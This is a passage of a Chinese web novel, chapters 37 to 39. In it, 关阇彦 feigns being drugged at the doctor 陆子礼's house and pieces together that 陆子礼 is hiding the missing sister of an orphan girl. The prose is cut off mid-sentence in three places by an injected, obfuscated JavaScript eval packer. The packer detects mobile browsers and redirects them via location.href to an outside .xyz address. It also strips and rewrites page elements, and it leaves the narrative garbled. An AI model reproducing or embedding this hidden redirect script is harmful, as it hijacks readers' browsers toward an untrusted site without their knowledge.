陆长岁紧紧阖眸,一丝动静都没有,也不知她到底有没有听到孤女殷切而带着哭腔的恳求。孤女听不到回应,兀自哭得厉害,声音发不出多大,呜咽呜咽地洇湿大片软被。 …… 翌日。 已是小暑之时,不过卯时,天光便已大亮。光亮自东天而起,要绕过几只山头才能光临同在各色山脚下的禺山镇,镇子鸡鸣瞬起,几户需得早起的类似于王二郎蒸饼铺子这样的店行当,也跟着敞开了门窗,准备做活。 阳光透过层层竹林围成的天然绿荫,还需一些时候,它们甫一射进茅房,触碰到关阇彦的眼皮,他便睁开了眸子。 晨光迷散在他的眸中,眼底深幽的浓墨被照得发浅,还未干透的湿发散在胸前,在光下泛着狼狈的油光。他静静呼吸一口,结果溷中浊气险些将他的天灵盖一起顶走,果然这种的地方,适应个整整一晚也没辙。 外面早已不落雨了,天光也刚亮,果真是老天眷顾此女。他拍拍身上衣尘,仔细查看起魏郁春的模样,她的一对脸颊红扑扑得厉害,上下两唇噗噗叭叭地不懂想嘟囔什么。 关阇彦想起上次她寻妹妹时得热病,躺在屋中就说了不少胡话,他好奇这次她还要吐出什么惊世骇俗的内容来,结果不管凑得多近,连她拨动唇舌的碰撞声都闻不见一点。真是没劲儿。 他虽抱怨,动作却一点都不肯懈怠,将同样一头油腻腻散发的魏郁春抄腰抱起,飞速穿出竹林,直直朝陆子礼的茅草院走去。 他刚走到木门前,就撞见了来陆子礼家送菜事的货郎。 “陆大夫,您要的东西小的给您送到了!” 货郎将背上一箩筐的菜肉都放到了木门青阶上,一嗓子喊出去,对上横抱着一位病怏怏的娘子的关阇彦,二人四目相对,货郎尴尬地挠了挠脑袋,就觉得这人模样奇奇怪怪,怪吓唬人的。然后趁关阇彦移目的时候,赶忙溜得远远儿的去了。 关阇彦垂着的眼,紧紧盯着那一箩筐物事,有所思虑。 近来气候越发热起来,东西不似秋冬那般存得住,镇人都说陆子礼因丧妻之痛自囚于院子中,绝不出户。陆子礼再看起来不似活人,也不至于不靠荤素维系生机,他先前还奇怪此人足不出户,哪里来的生活补给。这不,今日才得见,他原来是靠货郎每日将所需之物送到家中。 他目测箩筐之中摆了不少生食,里头有当季的时令菜蔬,还有特意拿油纸包裹起来的生肉等物。真是不对劲,陆家不过就陆子礼和他那只刚满十岁的小丫头,即便这些东西还能靠在阴凉之地多存放一些时间,那也绝对不可能超过两日。 这陆子礼家的两个人,两天就能将这些东西全部吃完么? 他拧眉想起昨日在杂草间眇到的扎着一对羊角辫子的小丫头,块头并不大,看着虽然面庞饱满,却只是婴儿肥,身子也是刚刚好的,不胖也不瘦。难不成,陆子礼那只瘦死鬼吃得最多? 好了,就算他们饭量比较大,也不至于如此奢侈吧? 关阇彦怀中还抱着个人,不方便蹲下察看娄中之物,但可以肯定的是,包裹在油纸里生荤样的东西块头不小。 乡野中人,一月余能吃上一口荤腥已是不得了,禺山镇再富裕,就连富人也经不起一两天就吞下这么一大块荤肉。 他也想过其他的可能性。即便再凑巧,他碰上了陆子礼贫穷日子里好不容易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆家院子算大了,除去横亘在最主心骨地方的“陆氏草堂”外,最东侧依次排列着两只南北方向而落的长屋。 关阇彦所在的地方,恰好是前面靠内边的这条屋子里的,其中一间憩室,憩室背部,也就是西侧开着的两大扇窗户,帘子也都被收到了两边。 今日阳光甚好,自二扇窗户倾斜下来,照得人眼睛发酸。 这也让他感到突兀,因为印象中,和阳气搭不上什么边儿的陆子礼,理应和昨日一样,守着陆氏草堂闭合紧紧的窗子不动如山。怎的因为今日晴好,他便大剌剌地将屋子暴露到盛光下了么?不像他的作风啊。 思及此处,他还特意伸了脑袋探出去看看陆氏草堂内的陈设,里头还是一如既往地阴暗,香炉里的白烟飘得溢出堂子。 透过两只大窗,他躲着碍目的晨光直视过去,发现靠外侧也就是最东边的那条屋子,窗子也刚巧都开着,屋子里头安置着一张宽大的暖色软榻,榻上睡着只小女孩。关阇彦站起身子去看,左看右看,都看不出此女和昨日所见的羊角辫女孩儿有什么相似之处。 他突地脑中一白,末了多出一句判断,那被榻上的丫头和昨日的见到的并非一人。 陆子礼回来的时候,手里还端了一只刚用水冲洗干净的陶锅,乍一眼看去,不就是昨日他给关阇彦熬药时用的那口么? 陆子礼开了口:“还请公子随我移步去草堂。” 37. 非人一面(2) 起身而立的关阇彦,眼神还牢牢盯在窗外东屋里沉在睡梦中不醒的女娃娃身上,一时没有注意陆子礼回来的脚步。听到陆子礼的声音时,关阇彦还紧张地扭回了脑袋,本以为在他眼里被撞见了秘密的陆子礼会又发疯病,将他和魏郁春赶出去。 但眼下他和魏郁春都急需陆子礼的帮助,这个节骨眼出了问题,他险些以为天要崩塌,心里也责怪起自己反应迟钝,没早点听到脚步声止住探索心。但再怎么责怪又有什么用? 他明白如今身体每况愈下,那湿邪显然要入骨,侵染他的耳目,从小跟着阿爹练起来的本事怕是要丢了。 所以,这般想下来,比起迁怒自己,他更担心的是拿不到陆子礼的药汤。 他脑子飞速转动着,急于寻觅什么话术来遮遮掩掩,可还未开口,那陆子礼阴云密布的脸色居然开朗了不少,语气更是出乎意料地平静:“那便是我家囡女,昨晚魇着了,哭闹得厉害不肯睡觉,好不容易踏实下来,这会儿还在熟睡呢。” 关阇彦的脖子有些僵硬,来不及思索什么,只是尴尬附声:“小孩儿夜闹也是常事。” 谈及女儿的时候,陆子礼的神色从未有这般明媚过,被晨光洗净的眼神投向窗外东屋安睡的女儿时,嘴角竟破天荒地扬了一只浅笑。 他复看回关阇彦的时候,澄澈的眼神和笑意都不见了,但让人不太舒坦的敌意也消失了不少。他好似刚了结完一桩心头大事,卸下了担子。 陆子礼其实根本不知道昨晚他闯入院子的事情吧?那他为什么还要和他说这些话?要知道,除了问诊之事,他从未听过陆子礼说这么多旁的内容。或许是关乎女儿,他才会没刹住嘴巴多和外人说了话吗? 说起来有理,可到底是哪里还显得怪异? 是了,对岸东屋里还在安睡的陆子礼之女,并非昨日他瞥见的偷偷看他和魏郁春的女孩儿。他自己身高很够,站起来离窗侧远些,看得那么久,都没发现二者有哪处五官类似——二者也就面色一般圆润桃红,其他论起眼鼻口耳,乃至虚无缥缈的气质,都无相似之处。 两个年纪一般大小的姑娘能有多大的区别?但偏偏就让关阇彦遇到了这样的两个。 许是有生活环境、天生性子、后天习惯等各种因素的影响,两只丫头的不同之处难以说得清楚,但就是有只壁一样的隔阂挡在二人之间,即便说不清,也能一下子叫人分得出两个丫头原来并非一人! 关阇彦确信自己没有看错什么。 所以,他不相信陆子礼不通其中玄妙。自从他女儿生辰后,一个多月来,他都足不出户,门关得死紧,他和魏郁春昨日也见识过要入他家门得多难,更何况昨日还是最容易触犯此人下雨禁忌的一天。随随便便解释说,那只羊角辫子的小丫头是偷偷溜进来的,谁会信? 即便小丫头手脚灵动圆滑,溜进来了,关阇彦也不信,陆子礼这样恨不得后脑勺也长眼睛的谨慎性子的人,会发现不了。 陆子礼不该比任何人都清楚,自己家中不止他父女二人这件事实吗?他为什么对此闭口不谈?反而在他亲眼看到他口中女儿的样貌后,特意解释昨晚哭闹之事?而且面对关阇彦时,更是一副云淡风轻之样,一点心慌之意都没有。 关阇彦已经搞不清到底是羊角辫子的丫头是他的女儿,还是对面屋子中昏睡不醒的丫头是他的女儿了。 古溪村换脸之事还历历在目,他不禁将眼前之景与之联想——难道还与换脸有关?只是陆子礼自己都不知道么? 他被唬得晕头转向,眼看陆子礼端着陶土壶的身影离开,他也迷迷糊糊地跟上了。 下一刻醒神的时候,他就已经和陆子礼站在了云雾缭绕的草堂之中,药草被储放在被分地条条框框的柜屉里,此柜的高度,眼看就跟屋顶平齐,好似也是一样支柱,撑着屋子直立。 二人拐过弯子,来到堂内诊台,空间一如既往地狭窄逼仄,桌案对岸一只蒲团一只杌子,陆子礼和关阇彦各自坐在自己该坐的地方。陆子礼熟练地将炉子烧热,煎热了陶土锅,昨日关阇彦未来得及带走的药材,都被陆子礼拿一只只布巾分下来包裹好了,不多不少五味药材。五只布包叠放在一起,最上头压着一包祛湿的碳粉,模样细致,不像是临时备好的事物。 距离货郎喊声到陆子礼开门不过几步路的时间,陆子礼怎么会这么快把这些东西整理齐全?除非,这些都是他提前准备好的。 陆子礼是猜到了他和魏郁春还要再来。难道这陆大夫真像魏郁春说的那样,本心并非是要贪图他们的财? 关阇彦与其对坐,此时还在愣神,他的眼神逡巡于陆子礼的面部表情和动作上,想找出漏洞来,但线索散乱,他一时半会儿理不清。 陆子礼从五只布包中各取了两撮药物,投掷到药锅内,一股干燥的火气扑鼻而来。今日放晴,潮气散了大半,没有它们的干扰,今儿锅中溢出来的火气叫关阇彦一嗅,顿时给他开了大半的筋脉,湿重的躯体竟也清朗了起来,唯一不舒服的,便是他在锅前被熏得浑身发汗。 陆子礼说起话来:“昨日我有要事,不便见客。现将你要的那锅真武汤重熬一锅给公子,还请公子不要再因昨日之事介怀于心。” 他又起身来,瘦削如枯柴的手指,在诊台后堆着杂七杂八的乱地里搜拨起来,他个子很高,在如此小的窄的空间内难做出什么大动作,只好委屈着脊背,驼背屈膝在杂物里拨动手指。最后,他摸出了一只被塞在最深处,许久不用的旧药锅。 他意思着要去将药锅洗干净过来,示意关阇彦留步此地,眼神无波,只是用他粘嗒嗒的嗓音说着:“那小娘子中的风寒耽搁得有点久了,我去弄一壶驱寒解热的汤药来给她服下,凝神睡至下午便能见好。” 听到对方说下午时,关阇彦眉间紧皱了些许。 他其实也想顺着魏郁春的意思,早些回古溪村,经此一夜,身子早被污浊的茅厕味儿熏得入了味儿,连外衣都丢了。如今浑身又被药烟烘得浑身滚烫,汗水沾着昨日雨水的腥味儿一同在他身上发酵。再不讲究的人都受不了这遭,更不提他了。 他就想回去好好将身子洗洗。 至于魏郁春,要不是得了热病,她是比谁都盼着早日归家。毕竟,还有一堆烂摊子要她主持着去收拾。 罢了,下午便下午吧。 关阇彦也没的办法,撇下这桩烦心事后,他不得不提前和陆子礼问清楚另一桩烦心事:“那您这壶药汤值多少银钱?” 别到时候又付不起,把自己变作了欠钱不还的老赖,被困在禺山镇走不开就完蛋了。 谁承想陆子礼今儿太阳打西边出来了,开口便是:“若非因我误事,小娘子也不会中了寒症,这一剂药服下去便能见好,无需多配。这壶药汤索性就当作赔礼好了。” 说罢,他的身影就隐到了诊台拐角后看不到的地方,出门去了。 直到此时,关阇彦才好似有些知晓,心中缭绕不断的怪异感从何而来了——陆子礼今儿作风一改往常,好似变了个人似的,不计较自己最惦记的钱财,对他的态度更是来了个大转弯。 究竟是偏见作祟,还是说,对方真不像他最初判断的那样可恶? 陆子礼将旧药锅洗干净后,又到草堂储满药草的柜中抽拉了几只屉子,放置进锅中,到诊台借着熬真武汤的一部分热火,把这只锅架了上去。 未几,两锅都已经飘出了药香,炭火煎热锅底时兹拉兹拉的声响是静谧屋子中唯二的声响,另外的是锅内微微沸腾的咕嘟声。药香混杂入鼻腔,连着屋内弥漫的藏有姜气的烟香,竟有催眠之效。关阇彦对陆子礼存疑,所以还死撑着意识,不肯阖眸。 陆子礼一直垂着的头忽地瞥了他一眼,眸中沉沉的,见关阇彦神智清醒,略有波澜,但极其微小,常人不可察觉。但却未躲得过关阇彦的眼底。 他心中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447380|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷笑不止:“三味儿融合竟有迷神之效,陆子礼不会不清楚这些。所以,也不可能是他临时起意之举。他如此处心积虑、早有准备,分明是早就料到我与冯迎春会过来。” “现在放我们进来,还妄图拿这种雕虫小技迷晕我,心底怕是忌惮我得很。即便他为我切过脉,知晓我底蕴尤在,也未见此人昨日就对我有这种强烈的抗拒。到底因为什么,他会对我态度大变,这其中的缘由……” 伴随着思绪的迸入,关阇彦略有迷离的目光越发清明,他毫不掩饰地撑着下颌,抬首看向对面蒲团之上挺坐的陆子礼。四目相对,陆子礼冷霜一般的眸子又起了一阵波澜,其余并无反应,他还在强装镇定。 “果真是心虚,他在撒谎。”关阇彦眸中漾起一尾得意的涟漪,但眸外却是倍显凌厉的面色。 昨夜陆子礼其实醒着,他知道是关阇彦昨日入了院子,听到了孩童的哭闹声,不然那时候哭闹声为何停下得那么凑巧?之后也没有再发出过?当时他就觉得奇怪。 陆子礼将他带入院中的时候,还故意给他透漏自己女儿的模样,对昨晚之事作出解释,然而解释便是掩饰,换做旁人,关阇彦不好多作怀疑。可想要作出掩饰的,偏偏就是陆子礼这么个古板怪诞之人。 他是不是不喜阳光不好说,但他这种浑身阴气的古怪人,绝不会大大方方地向外人展示自己,问题是,他展示的还是他最为珍爱的女儿。这里面真是越想越奇怪。 关阇彦又回想起,陆子礼在与他交流完女儿的事情后,对他的那股敌意就消失了。 后来谈及药汤,陆子礼作风大变,与其说是他不与他计较,不如说是在尽力讨好他,让他降低对自己的警惕心,再让他尽快转移开注意力。 陆子礼在窗后松下的那口气到底意味着什么呢?他知道昨晚的童音被外人听到了,唯恐秘密暴露,所以急于在第二日用某种办法证明吗? 那他要证明的是什么? 证明昨晚哭闹的是他的女儿?证明他女儿其实什么事情都没有? 不……怎么会那么简单。 对了,陆子礼不是故意让他看清自己女儿的模样吗?他难道是在证明这个丫头就是他的女儿,不是别人? 他到底在掩饰什么……等等,难道是掩饰另一个女孩儿的存在? 关阇彦已经知道了自己昨天发现的丫头,和陆子礼的女儿并不一样。所以,陆子礼是在暗示他不要多想,他家中仅有两个人,没有这第三号人。 如果陆子礼知道,昨日关阇彦已经见到另外第三号人的模样的话,他会犯得着如此大费周章地去证明他的“清白”吗? 所以……因为陆子礼落下了这一环,他和关阇彦之间的认知出现了明显的信息差。 二人互相猜忌的时刻,陆子礼心中有鬼,多踏了一步,便成了他的马脚。 看来,关阇彦昨日可是撞见了一个不得了的意外。但这样的话,也证明了一件事,陆家就是三个人,陆子礼一直在掩饰第三个人的存在,那么两个丫换脸的事就不可能发生了。他居然也松了一口气。 他虽不明白陆子礼要把他迷晕要做什么,估摸是怕魏郁春没醒前,他这个不安分的性子会撞见什么不该看的东西。可是他一点都不在意陆子礼的担忧,在他眼里,对方的煞有介事实在是多余。他和魏郁春泥菩萨过河自身难保了,哪有闲工夫去管他那跟自己八竿子打不着的事情? 他又没有欠陆子礼什么债。 但任由这么可疑危险的人将自己迷晕,关阇彦不会同意,不过也没说不可以装晕。 陆子礼熬煮真武汤的步骤,他昨日亲眼看过,确保喝下汤药无事后,他就提议帮魏郁春喂药去,然后一下子晕倒,还能从魏郁春那头抢半张塌休息。 何乐而不为呢? 毕竟留魏郁春那头一个人也不行,鬼知道在他看不到的地方,这怪大夫还会不会做什么事情? 38. 长夏逐梦 关阇彦瞥眸一笑,有心提了一句意味不明的话:“多谢大夫的药汤,光是被药香熏了一阵,脑瓜子都好似变得轻飘飘了。” 估摸方才突然开窍,多少有药味儿的帮衬。 陆子礼面色不改,回他:“公子舒坦便好。” 真武汤已成,陆子礼敛衽提勺,给药汤过了筛,滤过了不少沉滓,才盛了一碗姜黄色澄澈的药汤给关阇彦。 关阇彦静静等着药冷,眼看魏郁春那锅药也要好,索性将自己心中所想抛出:“我这远房亲戚应当烧得不重,还劳烦大夫您为其熬药,不如待会就由我端过去给她服用吧?不然实在是对不住。” 陆子礼静静地看着他天衣无缝的神色,想起那姑娘毕竟是个年纪不大的小娘子,服药这等亲近之举还是交给家属去做更好。但说实话,比起远房亲戚,陆子礼倒更倾向于相信这两个人之间有点什么。既然有了顾虑,再拂了人家的请求就不合适了。 二人继续对坐,关阇彦为避免被迷香扰乱神智,早已用起了闭气功。他耷拉着眼皮,佯装困倦,实际上不过是在等待药汤转凉。 眼看时辰要差不多了。 陆子礼心中同样想着,他服下过抵御药迷的清心丸,而面前的男子,不是应当被自己混用三种药味儿的迷香迷晕过去了吗?即便一开始时他没反应,这么久下来,也不该还是没效用。 陆子礼心中刚有此疑虑,关阇彦就哎呦一声,捏起太阳穴,那张凌然坚毅的脸直接拧成了一团。 “公子怎么了?” “害,不知道怎么回事就头晕了,估摸要睡觉,昨晚上淋了一夜雨没睡好吧!” 陆子礼微蹙的眉松了松。 关阇彦将微凉的药汤一饮而尽,旋即拜托陆子礼将魏郁春的那份药汤盛了出来,一句多谢后,踩着虚虚浮浮的步伐将那碗药汤端走。陆子礼则在原地盘坐着,等关阇彦出了草堂子一阵子,他才起身走到门前,往东侧长屋观望。 关阇彦正眯惺忪着眼,扶着魏郁春坐起来,将药汤一勺一勺送入她的口中,动作笨拙,五勺里能有三勺挂着人嘴角滑落到衣物上。这倒不是关阇彦成心要演出来的,照顾人侍药本就为难他,能做成这样,他已经费了九牛二虎之力了。 不过这些场面落在陆子礼眼里,更像是一个口无轻重但做事稳重的人,因迷药乱了神智,而做出的愚钝之事。 陆子礼微微颔首,吁了几口短叹,若有所思。 他本打算将这两个人请进家门后,用眼前布下的种种假象让他们打消心中疑虑,该给的东西给了就叫他们自请离去——昨日的意外既起,若再随心所欲驱赶他们,只怕更遭人怀疑。万一被人多舌出去,便是违逆了天仙,后果不堪设想。 但他对关阇彦极其在意,绝知此人不大好糊弄。想着若这两人不肯快速离去,就对他们言说昨日潮寒气过盛,送他们一锅驱寒解热的汤药,配合着屋内姜气和真武药气炮制出一味迷神香,直接将两人迷晕了就好。 但他实在没想到,这二人里竟有一人恰好得了热病,汤药的赠予变得更合理了起来。他便将计就计顺着局势而动了。 早知如此,他就不该在这段时间让任何人接近院子。 可若真是这样……眼看存银将空,那小孤女每日没有上好的食材供养,谁能每日为他女儿换血? 要怪便怪天命了。 若是关阇彦和魏郁春和往年此时间来拜访的富人一样就好了,要不然现在怎么会牵扯出这么一大堆难以料理的事情? 或者说,也是怪他太执迷于自己手头的计划,没在意外界对他的看法。他只知道每年来此看诊之人多是身患难治之症和湿病的富人,却不知道外界多数镇人,发现他每年此时不好惹的规律。一般穷困者岂敢叨扰?唯有迫不得已还惜命至极的富人敢来寻他罢了。他错把规律当作了常事。 陆子礼又想起那小娘子魏郁春昨日与他诉说的诸多苦衷,他虽为人古板,但却是个豆腐心肠,禁不住心软。这才为后来的事情埋下了隐患。 所以他现在后悔极了。 罢了,事已至此,等他们下午醒来,自己这边的事情应当都做好了,只要他们不要随意走动,没什么破绽可暴露的。 …… 关阇彦这头已经装晕过去了,他事先还特地给自己框定了一块地方。 既能保证自己舒坦,还能保证自己和魏郁春之间有所距离。 真武汤入腹内,好似冲入了一大股热腾腾的江流,将堆积在内服的湿浊气通通往四肢挤压,手脚难免冰凉,但身体是越发清爽。他在感慨陆子礼虽怪但的确有几分本事。塌另一端躺着的魏郁春饮下大半汤药后,嘴巴也安分了下去,不再和搁浅的鱼一样叭叭着唇。 外面晴光铺在眼皮上,一阵凉风突然刮进来,好似给身上盖上了一层冷冷的绸缎。关阇彦双手搁在脑后,静静地躺着,听到另一畔传来魏郁春越来越轻盈的呼吸声,好似一阵亲飘飘的雾在耳边缭绕。如此情景,竟让他由衷生出岁月静好之感。 他感觉到屋子旁通向开着西窗的东侧屋子的廊道里,传来一阵不紧不慢的脚步声,应是陆子礼的,那个方向也正好通着他女儿的屋子,估摸要去寻女。 不知过了多久,他神智越发清晰,听不到周遭任何声响,他有意将敏感之处偏移到陆子礼所在的地方,可还是没有结果。 关阇彦微起身后看,却见大敞着的窗子里依旧是女孩安睡不动的身影,陆子礼像是蒸发了一般,他清楚地记得他并没有从廊道往返。 又过了几个时辰,陆子礼的脚步声再度响起。他在庖厨摸着什么东西,一直摸了许久,外面天光越升越高,好似快到中午时。一阵饭香飘逸而来,牵动了远在东屋的关阇彦空荡荡的肠腹,到现在除了药汤外什么都没吃,之前没觉得什么,食欲一被勾起来,浑身就似被蚂蚁爬满了一般,饿意难以消解。 陆子礼将饭菜端进东屋,穿过空地和走廊,再度步入更深处的第二排东屋。 一些碗筷碰撞的声音在那里响起,约莫两柱香过去后,声音就消失了。睁眼一看却见陆子礼的身影又凭空消失了。 关阇彦貌似明白了什么。 同早晨一样,陆子礼消失一阵后便又出来了,回到院子中,步入草堂,不知在捣鼓什么玩意儿,一阵阵异香从中飘出来。 同样被饭香勾起食欲的魏郁春昏昏沉沉地睁开了眼,她脑袋烧了许久,晕睡许久后,脑袋还是沉地同被灌了铅水一样,重得几乎动不了,身子和四肢也是如此。 “这儿是哪儿?”甫一睁目的魏郁春看着陌生的藻井,还懵懵然着,说话的声音也小的很。 “醒了?”关阇彦在塌的另一头说着。 魏郁春循着话音,缓缓撇头,见着一个蓬头垢面的男人一手撑着脑袋,云淡风轻地看着她。 他模样很滑稽,整个人好似被炮轰过一样,别有一番韵味。 她听出关阇彦的声音在刻意压低,越发感到不明所以。 “和你说个有意思的事情。”他意识到魏郁春注意到他后,索性不发声了,慢慢动着唇,让对方看着唇语了意。 魏郁春呆呆地点了点头。 “我现在在装晕。”他一开口就是这段惊世骇俗还叫人摸不着头脑的文字。 魏郁春:“?” 关阇彦索性将昨晚的经历简单地说了一遍,魏郁春张着的嘴巴久久合不上,末了比出几只口型:“你晚上翻墙进来过?” “这个倒不是重点,主要是昨晚的动静太过诡异,保险起见来看看罢了。” 关阇彦突然扯出一个话题来:“还记得和我们一起在王二郎那边,吃过馒头的小孤女吗?送我们草蛐蛐的。” 魏郁春虚弱地颔首应他。 试探些许后,关阇彦还是没觉着草堂那里有什么起伏的动静,心里有了底子后,他索性侧着身子往魏郁春这头凑得近了许多。 竹塌很窄,魏郁春一开始是顺着竹塌躺的,后来体内燥热,动来动去不安分,也跟关阇彦一样,以差不多没完全顺着竹塌的方式躺着。 她两只藏在衣服下的腿蜷着内扣,两只手也不太安分,各歪在一边,姿势还不同,她脑袋的方向本是朝着天花板的,听到有人和她说话,她才偏去脑袋的。所以她现在竖在窄塌边上,脸朝关阇彦,身子除了左臂其余都背对着他,样子实在是不雅。 关阇彦刚来的时候,魏郁春还是原来那样子乖乖顺着塌的方向躺着,幸好人两只腿缩着的,关阇彦竖着躺到另一头的时候,只要岔开长腿把腿缩上去,这里就还有他的一席之地。 后来,魏郁春睡姿大变,关阇彦和她之间的距离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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魏郁春看着此情此景,竟莫名对关阇彦的接近不再抵触。其实打心底想,她就没觉得他可恶到难以接受吧,否则她也不会在他身上,寻找美好回忆的影子。 她觉得他们二人现在像极了两只纳凉的小屁孩儿,什么男男女女的芥蒂,在此时比泡沫还虚恍,从前担忧的警惕事,在如今看来其实也就那样。 关阇彦已经认真地说起他的事情来了:“那小孤女寻不到的姐姐,刚满十岁生辰,陆子礼的女儿也刚满十岁生辰。我昨日进入院子的时候其实就瞥到了一只偷看我们的小丫头,年纪刚好十岁上下,我以为是陆子礼的女儿。后来我半夜听到童音来查探,我猜陆子礼知道这事,不知道是想要隐瞒什么,今儿我来后,他就忽地指着睡在别的屋子的丫头说那是她女儿,还解释起她女儿晚上哭闹的事情。但我发现这两个丫头根本不是一个人。” “除了解释,陆子礼还给我重新熬了药,给你服下的药汤甚至是他昨日失礼后的补偿。感觉是巴不得让我对他有好感,再送走我。奈何你还昏着,他赶不走,直接用提前准备好的配方想把我迷晕。哼,还好我提前发现了。但我无心顾及他的事,也没必要和他硬刚,索性装晕了。” 魏郁春已经皱紧了眉头。 关阇彦看着她,饶有兴致地说道:“我猜你是想说,这并不像是陆子礼的作风对吧?” 魏郁春看着他,没想到他还有爱扯闲的一面,一个大男人说起故事,居然还能眉飞色舞起来,实属罕见。不,或者说,这人估摸是闲得慌,又开始以逗弄她为乐了。 她抽了抽眉角,旋即摇头,说:“不是,我是担心他既想迷晕你,会不会也在药汤里下毒?” 关阇彦冷眸微弯,轻嗤道:“你还真够惜命的。你放心吧,他巴不得我们赶紧走,要迷晕我也是怕我不安分端了他的秘密。再说了,他熬药的步骤我昨日见过,没做手脚。” “哦,”魏郁春轻声应了一句,想起关阇彦说的关于两个女孩儿的奇事,不禁问起下文,“你一开始说的那些和小孤女有什么关系?” “我怀疑陆子礼屋子里藏着的第三个人,我第一日见过的小丫头,就是蒸饼铺子小孤女丢了的姐姐。” 魏郁春的口讶然地半张着,只恨现在脑瓜子不大灵光,一旦牵扯起多桩事情,埋在其中的筋络就隐隐抽动。 39. 庐山真面 关阇彦又补充上自己的见解:“早上来的时候,还刚巧碰上来陆家送货的货郎,我见他的箩筐中荤素俱全,尤其是荤肉分量不少,即便是镇上富人也经不起这么吃。” “当然我也不好判断陆子礼是不是每日都如此,但近来长夏逼近,东西都放不久,他若家中只有两个人的话,如此大手大脚实在浪费。” “如果他家里有其他人,说不定还能解释一二。” 魏郁春软着声,动起笨重的脑袋,慢慢回答他。 关阇彦拨动了一把还挂在腰间布带上的草编蛐蛐,此物昨日泡了好一会儿雨,坚韧的草叶微微发软,健壮的虫身变得浮肿起来,不比他本人好看多少。 “这估摸就是一切渊源所在之处了。” 魏郁春的目光顺着他拨动浮肿小虫的指尖一起晃动,自己想多说些话,结果就是使不上劲,只好让关阇彦把风头全出了。 “小孤女的姐姐是看到了我们身上挂着的此物,知道我们和她妹妹有关,所以才在我们来的时候,偷偷盯着我们看。” “不然所有事情堆在一起就太巧合了……又是我们刚好撞见陆子礼闭关的时间,又是我刚好碰见偷看我们的小女孩,又是我半夜听到诡异的童音。你不觉得我们一来,就险些撞破了陆子礼的秘密吗?” 魏郁春微睁的眸子已经越睁越大,瞳孔亦有顿缩之意,她听出了关阇彦的弦外之音,附道:“你是说,因为小孤女的姐姐觉得我们两个人和她妹妹有关,所以晚上故意发出声音吸引我们的注意?她想引导我们发现陆子礼的秘密?” “发出声音的还一定是小孤女的姐姐,不然陆子礼没必要在今日,心虚地和我解释昨晚的事情。” 关阇彦扯了扯微微起皮的唇,又道:“没错。那丫头知道我们两个人在陆子礼院中发生的所有事情,知道我们没拿走药,所以她才会猜测我们没走,不然为何突然哭闹?你想想,这丫头要是没什么心思的话,怎么赶巧偏偏在昨晚哭闹?若是之前也哭闹,即便陆家茅草院子偏僻,也不好保证会不会被别人听到什么。要知道,除了竹林,靠陆家最近的还有甬道对岸的王二郎蒸饼铺。” “没想到你刚来陆院的时候就发现了那丫头的目光,你怎么做到的?” 魏郁春忍不住惊奇。看似好奇发问,实际上还是一种变相的刺探。 在魏郁春心里,这男人身份一直成谜,他身上的种种特质都昭示他并非常人。此人一身本事通天,性子高傲,心肠却又不坏,即便一身缁衣芒鞋也难抵内里那股令人畏惧的劲儿。 昨日,他五感在被湿邪干扰的情况下,还能敏锐到捕捉一切锁定在自身的目光……要不是他方才特意和自己说,她是怎么都想不通小孤女、草编蛐蛐还有小孤女姐姐三者之间的关系的。 她难以想象他丹田中沉淀了多少本事。 关阇彦看似一身莽劲儿,脑瓜子却清泠泠得很,听出魏郁春探意,知晓这跟之前他刺探她一个南禺村人是怎么通晓汉文的话,有异曲同工之妙。 他不妨照着她的话,答道:“实话告诉你吧,我爹娘都是个普普通通的砍柴农户,天天叫我上山砍柴,我不高兴做这行当,反而想要学武术。结果山神听到了我的诉求,每当我在树下犯困的时候,他老人据都千里迢迢跑来,在梦里教我舞剑弄刀。这不,我一醒来,浑身云烟缭绕,一身功夫登峰造极,险些以为自己要得道成仙了。” 魏郁春知道他又开始当其学人精,照着自己之前的话术耍弄自己,脸白了一阵又青了一阵,无语之际,知道自己无论探他多少回都探不出答案,干脆放弃了。 她险些白他一眼,忍忍后另起一个话题:“有一个地方很奇怪,既然小孤女的姐姐对我们很在意,为什么不在当时就引起我们的注意,反而藏起来后,选在更冒险的深夜做事?” “因为走投无路了吧,”关阇彦重新将脸正回去,望着头顶上那随着夏风微微摇晃的藻井,沉吟半晌,忽地狡黠一笑,“如果陆子礼囚禁了她的自由,她白日那时只是偷偷溜出来的话,不就这样了吗?深夜……突兀吧,或者说,那时刚好有什么契机可助她一臂之力?这样的话,她才能不引起陆子礼的怀疑吧,是不是就更符合她被囚禁的状况了。” “从早上到现在,陆子礼去另一个东屋时往往待许久,我偷瞄一眼却瞧不见人影。我都猜到他藏人的地方在哪里了。” 魏郁春跟着思索了一番其中的弯弯绕绕,觉得有理,眉上悲色上染,她不解道:“陆子礼为什么要这么做?” 随后不好的预感上心,她面色越发古怪,语气悲寞:“莫非是那种癖好?” “不懂他,最好也别管,他要瞒就让他瞒去,不害我们就好,”关阇彦没心没肺地说了一句,话音略大,有强调之意。 魏郁春盯着他的侧脸,一时哽塞。 怎么感觉他这会儿说话的态度和以往大不相同了?尽管他们的确没有干预此事的必要,但他也不至于以这副看热闹不嫌事大的姿态这么说话吧? 魏郁春盯着他的眼神变得刻薄了起来。 